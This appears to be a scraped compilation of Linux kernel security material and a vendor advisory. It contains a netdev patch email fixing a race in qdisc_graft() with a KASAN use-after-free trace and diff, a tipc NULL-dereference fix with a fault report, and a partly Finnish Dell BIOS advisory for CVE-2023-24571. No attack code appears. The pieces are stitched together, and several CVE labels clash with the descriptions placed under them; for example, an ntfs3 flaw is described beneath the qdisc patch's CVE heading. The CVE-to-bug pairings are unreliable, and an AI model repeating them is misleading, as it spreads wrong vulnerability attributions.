\_\_\_\_kasan\_slab\_free mm/kasan/common.c:367 \[inline\]
\_\_\_\_kasan\_slab\_free+0x166/0x1c0 mm/kasan/common.c:329
kasan\_slab\_free include/linux/kasan.h:200 \[inline\]
slab\_free\_hook mm/slub.c:1754 \[inline\]
slab\_free\_freelist\_hook+0x8b/0x1c0 mm/slub.c:1780
slab\_free mm/slub.c:3534 \[inline\]
kfree+0xe2/0x580 mm/slub.c:4562
rcu\_do\_batch kernel/rcu/tree.c:2245 \[inline\]
rcu\_core+0x7b5/0x1890 kernel/rcu/tree.c:2505
\_\_do\_softirq+0x1d3/0x9c6 kernel/softirq.c:571

Last potentially related work creation:
kasan\_save\_stack+0x1e/0x40 mm/kasan/common.c:38
\_\_kasan\_record\_aux\_stack+0xbe/0xd0 mm/kasan/generic.c:348
call\_rcu+0x99/0x790 kernel/rcu/tree.c:2793
qdisc\_put+0xcd/0xe0 net/sched/sch\_generic.c:1083
notify\_and\_destroy net/sched/sch\_api.c:1012 \[inline\]
qdisc\_graft+0xeb1/0x1270 net/sched/sch\_api.c:1084
tc\_modify\_qdisc+0xbb7/0x1a00 net/sched/sch\_api.c:1671
rtnetlink\_rcv\_msg+0x43a/0xca0 net/core/rtnetlink.c:6090
netlink\_rcv\_skb+0x153/0x420 net/netlink/af\_netlink.c:2501
netlink\_unicast\_kernel net/netlink/af\_netlink.c:1319 \[inline\]
netlink\_unicast+0x543/0x7f0 net/netlink/af\_netlink.c:1345
netlink\_sendmsg+0x917/0xe10 net/netlink/af\_netlink.c:1921
sock\_sendmsg\_nosec net/socket.c:714 \[inline\]
sock\_sendmsg+0xcf/0x120 net/socket.c:734
\_\_\_\_sys\_sendmsg+0x6eb/0x810 net/socket.c:2482
\_\_\_sys\_sendmsg+0x110/0x1b0 net/socket.c:2536
\_\_sys\_sendmsg+0xf3/0x1c0 net/socket.c:2565
do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]
do\_syscall\_64+0x35/0xb0 arch/x86/entry/common.c:80
entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd

Second to last potentially related work creation:
kasan\_save\_stack+0x1e/0x40 mm/kasan/common.c:38
\_\_kasan\_record\_aux\_stack+0xbe/0xd0 mm/kasan/generic.c:348
kvfree\_call\_rcu+0x74/0x940 kernel/rcu/tree.c:3322
neigh\_destroy+0x431/0x630 net/core/neighbour.c:912
neigh\_release include/net/neighbour.h:454 \[inline\]
neigh\_cleanup\_and\_release+0x1f8/0x330 net/core/neighbour.c:103
neigh\_del net/core/neighbour.c:225 \[inline\]
neigh\_remove\_one+0x37d/0x460 net/core/neighbour.c:246
neigh\_forced\_gc net/core/neighbour.c:276 \[inline\]
neigh\_alloc net/core/neighbour.c:447 \[inline\]
\_\_\_neigh\_create+0x18b5/0x29a0 net/core/neighbour.c:642
ip6\_finish\_output2+0xfb8/0x1520 net/ipv6/ip6\_output.c:125
\_\_ip6\_finish\_output net/ipv6/ip6\_output.c:195 \[inline\]
ip6\_finish\_output+0x690/0x1160 net/ipv6/ip6\_output.c:206
NF\_HOOK\_COND include/linux/netfilter.h:296 \[inline\]
ip6\_output+0x1ed/0x540 net/ipv6/ip6\_output.c:227
dst\_output include/net/dst.h:451 \[inline\]
NF\_HOOK include/linux/netfilter.h:307 \[inline\]
NF\_HOOK include/linux/netfilter.h:301 \[inline\]
mld\_sendpack+0xa09/0xe70 net/ipv6/mcast.c:1820
mld\_send\_cr net/ipv6/mcast.c:2121 \[inline\]
mld\_ifc\_work+0x71c/0xdc0 net/ipv6/mcast.c:2653
process\_one\_work+0x991/0x1610 kernel/workqueue.c:2289
worker\_thread+0x665/0x1080 kernel/workqueue.c:2436
kthread+0x2e4/0x3a0 kernel/kthread.c:376
ret\_from\_fork+0x1f/0x30 arch/x86/entry/entry\_64.S:306

The buggy address belongs to the object at ffff88802065e000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 56 bytes inside of
1024-byte region \[ffff88802065e000, ffff88802065e400)

The buggy address belongs to the physical page:
page:ffffea0000819600 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x20658
head:ffffea0000819600 order:3 compound\_mapcount:0 compound\_pincount:0
flags: 0xfff00000010200(slab|head|node=0|zone=1|lastcpupid=0x7ff)
raw: 00fff00000010200 0000000000000000 dead000000000001 ffff888011841dc0
raw: 0000000000000000 0000000000100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page\_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp\_mask 0xd20c0(\_\_GFP\_IO|\_\_GFP\_FS|\_\_GFP\_NOWARN|\_\_GFP\_NORETRY|\_\_GFP\_COMP|\_\_GFP\_NOMEMALLOC), pid 3523, tgid 3523 (sshd), ts 41495190986, free\_ts 41417713212
prep\_new\_page mm/page\_alloc.c:2532 \[inline\]
get\_page\_from\_freelist+0x109b/0x2ce0 mm/page\_alloc.c:4283
\_\_alloc\_pages+0x1c7/0x510 mm/page\_alloc.c:5515
alloc\_pages+0x1a6/0x270 mm/mempolicy.c:2270
alloc\_slab\_page mm/slub.c:1824 \[inline\]
allocate\_slab+0x27e/0x3d0 mm/slub.c:1969
new\_slab mm/slub.c:2029 \[inline\]
\_\_\_slab\_alloc+0x7f1/0xe10 mm/slub.c:3031
\_\_slab\_alloc.constprop.0+0x4d/0xa0 mm/slub.c:3118
slab\_alloc\_node mm/slub.c:3209 \[inline\]
\_\_kmalloc\_node\_track\_caller+0x2f2/0x380 mm/slub.c:4955
kmalloc\_reserve net/core/skbuff.c:358 \[inline\]
\_\_alloc\_skb+0xd9/0x2f0 net/core/skbuff.c:430
alloc\_skb\_fclone include/linux/skbuff.h:1307 \[inline\]
tcp\_stream\_alloc\_skb+0x38/0x580 net/ipv4/tcp.c:861
tcp\_sendmsg\_locked+0xc36/0x2f80 net/ipv4/tcp.c:1325
tcp\_sendmsg+0x2b/0x40 net/ipv4/tcp.c:1483
inet\_sendmsg+0x99/0xe0 net/ipv4/af\_inet.c:819
sock\_sendmsg\_nosec net/socket.c:714 \[inline\]
sock\_sendmsg+0xcf/0x120 net/socket.c:734
sock\_write\_iter+0x291/0x3d0 net/socket.c:1108
call\_write\_iter include/linux/fs.h:2187 \[inline\]
new\_sync\_write fs/read\_write.c:491 \[inline\]
vfs\_write+0x9e9/0xdd0 fs/read\_write.c:578
ksys\_write+0x1e8/0x250 fs/read\_write.c:631
page last free stack trace:
reset\_page\_owner include/linux/page\_owner.h:24 \[inline\]
free\_pages\_prepare mm/page\_alloc.c:1449 \[inline\]
free\_pcp\_prepare+0x5e4/0xd20 mm/page\_alloc.c:1499
free\_unref\_page\_prepare mm/page\_alloc.c:3380 \[inline\]
free\_unref\_page+0x19/0x4d0 mm/page\_alloc.c:3476
\_\_unfreeze\_partials+0x17c/0x1a0 mm/slub.c:2548
qlink\_free mm/kasan/quarantine.c:168 \[inline\]
qlist\_free\_all+0x6a/0x170 mm/kasan/quarantine.c:187
kasan\_quarantine\_reduce+0x180/0x200 mm/kasan/quarantine.c:294
\_\_kasan\_slab\_alloc+0xa2/0xc0 mm/kasan/common.c:447
kasan\_slab\_alloc include/linux/kasan.h:224 \[inline\]
slab\_post\_alloc\_hook mm/slab.h:727 \[inline\]
slab\_alloc\_node mm/slub.c:3243 \[inline\]
slab\_alloc mm/slub.c:3251 \[inline\]
\_\_kmem\_cache\_alloc\_lru mm/slub.c:3258 \[inline\]
kmem\_cache\_alloc+0x267/0x3b0 mm/slub.c:3268
kmem\_cache\_zalloc include/linux/slab.h:723 \[inline\]
alloc\_buffer\_head+0x20/0x140 fs/buffer.c:2974
alloc\_page\_buffers+0x280/0x790 fs/buffer.c:829
create\_empty\_buffers+0x2c/0xee0 fs/buffer.c:1558
ext4\_block\_write\_begin+0x1004/0x1530 fs/ext4/inode.c:1074
ext4\_da\_write\_begin+0x422/0xae0 fs/ext4/inode.c:2996
generic\_perform\_write+0x246/0x560 mm/filemap.c:3738
ext4\_buffered\_write\_iter+0x15b/0x460 fs/ext4/file.c:270
ext4\_file\_write\_iter+0x44a/0x1660 fs/ext4/file.c:679
call\_write\_iter include/linux/fs.h:2187 \[inline\]
new\_sync\_write fs/read\_write.c:491 \[inline\]
vfs\_write+0x9e9/0xdd0 fs/read\_write.c:578

Fixes: af356afa010f ("net\_sched: reintroduce dev->qdisc for use by sch\_api")
Reported-by: syzbot <syzkaller@googlegroups.com>
Diagnosed-by: Dmitry Vyukov <dvyukov@google.com>
Signed-off-by: Eric Dumazet <edumazet@google.com>
---
 net/sched/sch\_api.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/net/sched/sch\_api.c b/net/sched/sch\_api.c
index c98af0ada706efee202a20a6bfb6f2b984106f45..4a27dfb1ba0faab3692a82969fb8b78768742779 100644
--- a/net/sched/sch\_api.c
+++ b/net/sched/sch\_api.c
@@ -1099,12 +1099,13 @@ static int qdisc\_graft(struct net\_device \*dev, struct Qdisc \*parent,
 
 skip:
 		if (!ingress) {
\-			notify\_and\_destroy(net, skb, n, classid,
-					   rtnl\_dereference(dev->qdisc), new);
+			old = rtnl\_dereference(dev->qdisc);
 			if (new && !new->ops->attach)
 				qdisc\_refcount\_inc(new);
 			rcu\_assign\_pointer(dev->qdisc, new ? : &noop\_qdisc);
 
+			notify\_and\_destroy(net, skb, n, classid, old, new);
+
 			if (new && new->ops->attach)
 				new->ops->attach(new);
 		} else {
-- 
2.38.0.135.g90850a2211-goog

next             reply	other threads:\[~2022-10-18 20:33 UTC|newest\]

**Thread overview:** 16+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
**2022-10-18 20:32 Eric Dumazet \[this message\]**
2022-10-20  0:50 \` \[PATCH net\] net: sched: fix race condition in qdisc\_graft() patchwork-bot+netdevbpf
2022-11-03 13:34 \` Gal Pressman
2022-11-03 15:17   \` Eric Dumazet
2022-11-03 15:27     \` Jakub Kicinski
2022-11-03 15:29       \` Eric Dumazet
2022-11-03 16:30         \` Maxim Mikityanskiy
2022-11-03 16:33           \` Eric Dumazet
2022-11-06  8:07             \` Gal Pressman
2022-11-10  9:08               \` Gal Pressman
2022-11-20  7:42                 \` Gal Pressman
2022-11-20 16:09                   \` Eric Dumazet
2022-11-20 16:43                     \` Gal Pressman
2022-11-20 17:00                       \` Eric Dumazet
2022-11-20 21:39                         \` Максим
2022-11-21  8:08                           \` Gal Pressman

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20221018203258.2793282-1-edumazet@google.com \\
    --to=edumazet@google.com \\
    --cc=davem@davemloft.net \\
    --cc=dvyukov@google.com \\
    --cc=eric.dumazet@gmail.com \\
    --cc=kuba@kernel.org \\
    --cc=netdev@vger.kernel.org \\
    --cc=pabeni@redhat.com \\
    --cc=syzkaller@googlegroups.com \\
    --cc=xiyou.wangcong@gmail.com \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.

CVE-2023-0590: [PATCH net] net: sched: fix race condition in qdisc_graft()

In the Linux kernel before 6.1.3, fs/ntfs3/inode.c does not validate the attribute name offset. An unhandled page fault may occur.

CVE-2022-48424

A remote denial of service vulnerability was found in the Linux kernel’s TIPC kernel module. The while loop in tipc_link_xmit() hits an unknown state while attempting to parse SKBs, which are not in the queue. Sending two small UDP packets to a system with a UDP bearer results in the CPU utilization for the system to instantly spike to 100%, causing a denial of service condition.

Permalink

Browse files

tipc: fix NULL deref in tipc\_link\_xmit()

The buffer list can have zero skb as following path:
tipc\_named\_node\_up()->tipc\_node\_xmit()->tipc\_link\_xmit(), so
we need to check the list before casting an &sk\_buff.

Fault report:
 \[\] tipc: Bulk publication failure
 \[\] general protection fault, probably for non-canonical \[#1\] PREEMPT \[...\]
 \[\] KASAN: null-ptr-deref in range \[0x00000000000000c8-0x00000000000000cf\]
 \[\] CPU: 0 PID: 0 Comm: swapper/0 Kdump: loaded Not tainted 5.10.0-rc4+ #2
 \[\] Hardware name: Bochs ..., BIOS Bochs 01/01/2011
 \[\] RIP: 0010:tipc\_link\_xmit+0xc1/0x2180
 \[\] Code: 24 b8 00 00 00 00 4d 39 ec 4c 0f 44 e8 e8 d7 0a 10 f9 48 \[...\]
 \[\] RSP: 0018:ffffc90000006ea0 EFLAGS: 00010202
 \[\] RAX: dffffc0000000000 RBX: ffff8880224da000 RCX: 1ffff11003d3cc0d
 \[\] RDX: 0000000000000019 RSI: ffffffff886007b9 RDI: 00000000000000c8
 \[\] RBP: ffffc90000007018 R08: 0000000000000001 R09: fffff52000000ded
 \[\] R10: 0000000000000003 R11: fffff52000000dec R12: ffffc90000007148
 \[\] R13: 0000000000000000 R14: 0000000000000000 R15: ffffc90000007018
 \[\] FS:  0000000000000000(0000) GS:ffff888037400000(0000) knlGS:000\[...\]
 \[\] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
 \[\] CR2: 00007fffd2db5000 CR3: 000000002b08f000 CR4: 00000000000006f0

Fixes: af9b028 ("tipc: make media xmit call outside node spinlock context")
Acked-by: Jon Maloy <jmaloy@redhat.com>
Signed-off-by: Hoang Le <hoang.h.le@dektech.com.au>
Link: https://lore.kernel.org/r/20210108071337.3598-1-hoang.h.le@dektech.com.au
Signed-off-by: Jakub Kicinski <kuba@kernel.org>

*   Loading branch information

CVE-2023-1390: tipc: fix NULL deref in tipc_link_xmit() · torvalds/linux@b774134

Dell BIOS contains an Improper Input Validation vulnerability. A local authenticated malicious user with administrator privileges could potentially exploit this vulnerability to perform arbitrary code execution.

**Vaikutus**

High

**Tiedot**

**Proprietary Code CVEs** 

**CVE Description**

**More information**

CVE-2023-24571

Dell BIOS contains an Improper Input Validation vulnerability. A local authenticated malicious user with administrator privileges could potentially exploit this vulnerability to perform arbitrary code execution.

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H  
See NVD (http://nvd.nist.gov/) for individual scores for each CVE.  
 

**Proprietary Code CVEs** 

**CVE Description**

**More information**

CVE-2023-24571

Dell BIOS contains an Improper Input Validation vulnerability. A local authenticated malicious user with administrator privileges could potentially exploit this vulnerability to perform arbitrary code execution.

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H  
See NVD (http://nvd.nist.gov/) for individual scores for each CVE.  
 

Dell Technologies suosittelee, että kaikki asiakkaat ottavat huomioon sekä CVSS-peruspistemäärän että kaikki asiaankuuluvat väliaikaiset ja ympäristöön liittyvät pisteet, jotka voivat vaikuttaa tietyn tietoturvahaavoittuvuuden mahdolliseen vakavuuteen.

**Tuotteet, joihin asia vaikuttaa ja tilanteen korjaaminen**

**Product**

**BIOS Update Version**

**BIOS Release Date**

Embedded Box PC 3000

1.18.0

03/10/2023

**NOTE**: The table above may not be a comprehensive list of all affected supported versions and may be updated as more information becomes available.  

**Product**

**BIOS Update Version**

**BIOS Release Date**

Embedded Box PC 3000

1.18.0

03/10/2023

**NOTE**: The table above may not be a comprehensive list of all affected supported versions and may be updated as more information becomes available.  

**Keinoja ongelman kiertämiseen tai lieventämiseen**

None

**Versiohistoria**

**Revision**

**Date**

**Description**

1.0

2023-03-15

Initial Release

**Asiaan liittyvät tiedot**

Dell Security Advisories and Notices  
Dell Vulnerability Response Policy  
CVSS Scoring Guide

15 maalisk. 2023

Tag

#bios